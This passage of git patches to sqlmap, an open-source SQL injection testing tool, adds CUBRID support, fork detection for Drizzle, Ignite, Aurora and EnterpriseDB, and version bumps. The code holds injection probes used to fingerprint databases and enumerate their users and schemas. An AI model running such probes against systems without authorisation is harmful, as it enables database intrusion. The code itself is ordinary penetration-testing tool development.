b/plugins/dbms/cubrid/fingerprint.py new file mode 100644 index 000000000..8ee033e20 --- /dev/null +++ b/plugins/dbms/cubrid/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CUBRID_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CUBRID) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CUBRID + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CUBRID_ALIASES): + setDbms(DBMS.CUBRID) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CUBRID + logger.info(infoMsg) + + result = inject.checkBooleanExpression("{} SUBSETEQ (CAST ({} AS SET))") + + if result: + infoMsg = "confirming %s" % DBMS.CUBRID + logger.info(infoMsg) + + result = inject.checkBooleanExpression("DRAND()<2") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID + logger.warn(warnMsg) + + return False + + setDbms(DBMS.CUBRID) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/cubrid/syntax.py b/plugins/dbms/cubrid/syntax.py new file mode 100644 index 000000000..72211de38 --- /dev/null +++ b/plugins/dbms/cubrid/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/cubrid/takeover.py b/plugins/dbms/cubrid/takeover.py new file mode 100644 index 000000000..26b16de10 --- /dev/null +++ b/plugins/dbms/cubrid/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Cubrid it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Cubrid it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Cubrid it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Cubrid it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 6bf03dce6..fa8395a55 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -87,7 +87,7 @@ class Databases(object): warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" singleTimeWarnMessage(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,): + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.CUBRID): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "user names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -115,7 +115,7 @@ class Databases(object): infoMsg = "fetching database (schema) names" - elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,): + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.CUBRID): warnMsg = "user names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" From 9d6c931faac116e9673add4887bd02384ee1c548 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Feb 2020 11:33:19 +0100 Subject: [PATCH 135/159] Finalizing support for Cubrid --- data/xml/queries.xml | 8 ++++---- lib/core/settings.py | 2 +- lib/request/inject.py | 2 +- plugins/generic/databases.py | 6 +++--- plugins/generic/users.py | 4 ++-- 5 files changed, 11 insertions(+), 11 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 6bd4ec287..6939666a7 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1414,8 +1414,8 @@ - - + + @@ -1428,8 +1428,8 @@ - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index fbd8360a5..dfd0511ad 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.7" +VERSION = "1.4.2.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/inject.py b/lib/request/inject.py index e74bea6aa..90c7c0f8e 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -105,7 +105,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID): alias = randomStr(lowercase=True, seed=hash(expression)) expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example expression += " AS %s" % alias diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index fa8395a55..b8816b113 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -602,7 +602,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -744,7 +744,7 @@ class Databases(object): condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -811,7 +811,7 @@ class Databases(object): continue for index in getLimitRange(count): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None diff --git a/plugins/generic/users.py b/plugins/generic/users.py index 0da7f2bd0..39a866f4e 100644 --- a/plugins/generic/users.py +++ b/plugins/generic/users.py @@ -441,7 +441,7 @@ class Users(object): # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is @@ -580,7 +580,7 @@ class Users(object): # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is From 8649021b781b3b8432a34c701e5a25dc8fadfe43 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Feb 2020 11:46:03 +0100 Subject: [PATCH 136/159] Adding support for Drizzle (MySQL fork) --- lib/core/agent.py | 2 +- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 ++ 4 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 2d792e459..c4b3cd842 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -388,7 +388,7 @@ class Agent(object): for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): payload = payload.replace(_, randomStr()) - if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB): + if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE): payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload) payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload) payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload) diff --git a/lib/core/enums.py b/lib/core/enums.py index ffefec653..5c5cf5132 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -87,6 +87,7 @@ class FORK(object): TIDB = "TiDB" REDSHIFT = "Amazon Redshift" GREENPLUM = "Greenplum" + DRIZZLE = "Drizzle" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index dfd0511ad..400704573 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.8" +VERSION = "1.4.2.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index ca4914132..b4474ad1f 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -92,6 +92,8 @@ class Fingerprint(GenericFingerprint): fork = FORK.MARIADB elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"): fork = FORK.TIDB + elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%drizzle%'"): + fork = FORK.DRIZZLE elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Percona%'"): fork = FORK.PERCONA else: From 4772a9243ae8464e4c8ea31331a2e5e2c79a7dc5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Feb 2020 11:52:42 +0100 Subject: [PATCH 137/159] Minor update --- lib/core/dicts.py | 1 + lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 24e8c5790..52a6a763d 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -239,6 +239,7 @@ HEURISTIC_NULL_EVAL = { DBMS.ORACLE: "INSTR2(NULL,NULL)", DBMS.PGSQL: "QUOTE_IDENT(NULL)", DBMS.SQLITE: "UNLIKELY(NULL)", + DBMS.H2: "STRINGTOUTF8(NULL)", DBMS.MONETDB: "CODE(NULL)", DBMS.DERBY: "NULLIF(USER,SESSION_USER)", DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)", diff --git a/lib/core/settings.py b/lib/core/settings.py index 400704573..6019cafa7 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.9" +VERSION = "1.4.2.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From feb1df6a05ca29e51312beee40bdb7f71ddcdb28 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Feb 2020 13:47:31 +0100 Subject: [PATCH 138/159] Adding support for Apache Ignite (H2 fork) --- lib/core/dicts.py | 2 +- lib/core/enums.py | 1 + lib/core/settings.py | 6 +++--- plugins/dbms/h2/fingerprint.py | 16 ++++++++++++++++ 4 files changed, 21 insertions(+), 4 deletions(-) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 52a6a763d..875698d2d 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -247,7 +247,7 @@ HEURISTIC_NULL_EVAL = { DBMS.PRESTO: "FROM_HEX(NULL)", DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)", DBMS.MIMERSQL: "ASCII_CHAR(256)", - DBMS.CRATEDB: "(NULL~NULL)", + DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite DBMS.CUBRID: "(NULL SETEQ NULL)", } diff --git a/lib/core/enums.py b/lib/core/enums.py index 5c5cf5132..34e760fc2 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -88,6 +88,7 @@ class FORK(object): REDSHIFT = "Amazon Redshift" GREENPLUM = "Greenplum" DRIZZLE = "Drizzle" + IGNITE = "Apache Ignite" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index 6019cafa7..84b21ed89 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.10" +VERSION = "1.4.2.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -257,7 +257,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") -H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) +H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT") @@ -267,7 +267,7 @@ PRESTO_SYSTEM_DBS = ("information_schema",) ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") -CUBRID_SYSTEM_DBS = ("",) +CUBRID_SYSTEM_DBS = ("DBA",) # Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index 56f89ce03..69c836396 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -7,10 +7,14 @@ See the file 'LICENSE' for copying permission from lib.core.common import Backend from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS from lib.core.session import setDbms from lib.core.settings import H2_ALIASES from lib.request import inject @@ -21,6 +25,16 @@ class Fingerprint(GenericFingerprint): GenericFingerprint.__init__(self, DBMS.H2) def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("EXISTS(SELECT * FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME='IGNITE')"): + fork = FORK.IGNITE + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + value = "" wsOsFp = Format.getOs("web server", kb.headersFp) @@ -37,6 +51,8 @@ class Fingerprint(GenericFingerprint): if not conf.extensiveFp: value += DBMS.H2 + if fork: + value += " (%s fork)" % fork return value actVer = Format.getDbms() From 1dd400f93dcc435ddbd2e3ed2ec2e54f78c9d7ab Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Feb 2020 16:54:00 +0100 Subject: [PATCH 139/159] Minor patch --- lib/core/settings.py | 5 ++++- lib/parse/cmdline.py | 3 +++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 84b21ed89..7e3d25a02 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.11" +VERSION = "1.4.2.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -564,6 +564,9 @@ HTML_TITLE_REGEX = r"(?P<result>[^<]+)" # Table used for Base64 conversion in WordPress hash cracking routine ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" +# Options/switches to be ignored in command-line parsing (e.g. those passed from Firefox) +IGNORED_OPTIONS = ("--compressed",) + # Chars used to quickly distinguish if the user provided tainted parameter values DUMMY_SQL_INJECTION_CHARS = ";()'" diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 91f871db9..befb885b6 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -83,6 +83,7 @@ from lib.core.exception import SqlmapSyntaxException from lib.core.option import _createHomeDirectories from lib.core.settings import BASIC_HELP_ITEMS from lib.core.settings import DUMMY_URL +from lib.core.settings import IGNORED_OPTIONS from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import IS_WIN from lib.core.settings import MAX_HELP_OPTION_LENGTH @@ -928,6 +929,8 @@ def cmdLineParser(argv=None): elif re.search(r"\A-\w{3,}", argv[i]): if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches): argv[i] = "-%s" % argv[i] + elif argv[i] in IGNORED_OPTIONS: + argv[i] = "" elif argv[i] in DEPRECATED_OPTIONS: argv[i] = "" elif argv[i].startswith("--tamper"): From 5f39016af722f415be44579a8e231a3aa1cdfb7b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 3 Feb 2020 22:11:19 +0100 Subject: [PATCH 140/159] Adding recognition of Amazon Aurora forks --- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- plugins/dbms/mysql/fingerprint.py | 2 ++ plugins/dbms/postgresql/fingerprint.py | 6 ++++-- 4 files changed, 8 insertions(+), 3 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index 34e760fc2..1c10ac858 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -89,6 +89,7 @@ class FORK(object): GREENPLUM = "Greenplum" DRIZZLE = "Drizzle" IGNITE = "Apache Ignite" + AURORA = "Aurora" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index 7e3d25a02..613e4aaa4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.12" +VERSION = "1.4.2.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index b4474ad1f..da83ab735 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -96,6 +96,8 @@ class Fingerprint(GenericFingerprint): fork = FORK.DRIZZLE elif inject.checkBooleanExpression("@@VERSION_COMMENT LIKE '%Percona%'"): fork = FORK.PERCONA + elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ + fork = FORK.AURORA else: fork = "" diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 09c5a0a6f..271e94dcb 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -31,10 +31,12 @@ class Fingerprint(GenericFingerprint): if fork is None: if inject.checkBooleanExpression("VERSION() LIKE '%CockroachDB%'"): fork = FORK.COCKROACHDB - elif inject.checkBooleanExpression("VERSION() LIKE '%Redshift%'"): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version + elif inject.checkBooleanExpression("VERSION() LIKE '%Redshift%'"): # Reference: https://dataedo.com/kb/query/amazon-redshift/check-server-version fork = FORK.REDSHIFT - elif inject.checkBooleanExpression("VERSION() LIKE '%Greenplum%'"): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png + elif inject.checkBooleanExpression("VERSION() LIKE '%Greenplum%'"): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png fork = FORK.GREENPLUM + elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ + fork = FORK.AURORA else: fork = "" From f968b23f636f853b748378cfbf0d117fa11dd499 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Feb 2020 14:17:14 +0100 Subject: [PATCH 141/159] Minor update --- lib/core/enums.py | 1 + lib/core/settings.py | 2 +- plugins/dbms/postgresql/fingerprint.py | 2 ++ 3 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index 1c10ac858..45e96c263 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -90,6 +90,7 @@ class FORK(object): DRIZZLE = "Drizzle" IGNITE = "Apache Ignite" AURORA = "Aurora" + ENTERPRISEDB = "EnterpriseDB" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index 613e4aaa4..cca76a53d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.13" +VERSION = "1.4.2.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 271e94dcb..c309fc156 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -35,6 +35,8 @@ class Fingerprint(GenericFingerprint): fork = FORK.REDSHIFT elif inject.checkBooleanExpression("VERSION() LIKE '%Greenplum%'"): # Reference: http://www.sqldbpros.com/wordpress/wp-content/uploads/2014/08/what-version-of-greenplum.png fork = FORK.GREENPLUM + elif inject.checkBooleanExpression("VERSION() LIKE '%EnterpriseDB%'"): # Reference: https://www.enterprisedb.com/edb-docs/d/edb-postgres-advanced-server/user-guides/user-guide/11/EDB_Postgres_Advanced_Server_Guide.1.087.html + fork = FORK.ENTERPRISEDB elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA else: From 1b92acc03300ab88f22bc8f43ca8fdabd90afcd3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Feb 2020 14:20:33 +0100 Subject: [PATCH 142/159] Fixes #4105 --- lib/core/settings.py | 2 +- sqlmap.py | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index cca76a53d..5883e7d7f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.14" +VERSION = "1.4.2.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index afa894791..a13d01b8d 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -351,6 +351,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif all(_ in excMsg for _ in ("ntlm", "socket.error, err", "SyntaxError")): + errMsg = "wrong initialization of python-ntlm detected (using Python2 syntax)" + logger.critical(errMsg) + raise SystemExit + elif all(_ in excMsg for _ in ("drda", "to_bytes")): errMsg = "wrong initialization of drda detected (using Python3 syntax)" logger.critical(errMsg) From c71bdf5c9eafdb217c470b7e462f1611afa43d8e Mon Sep 17 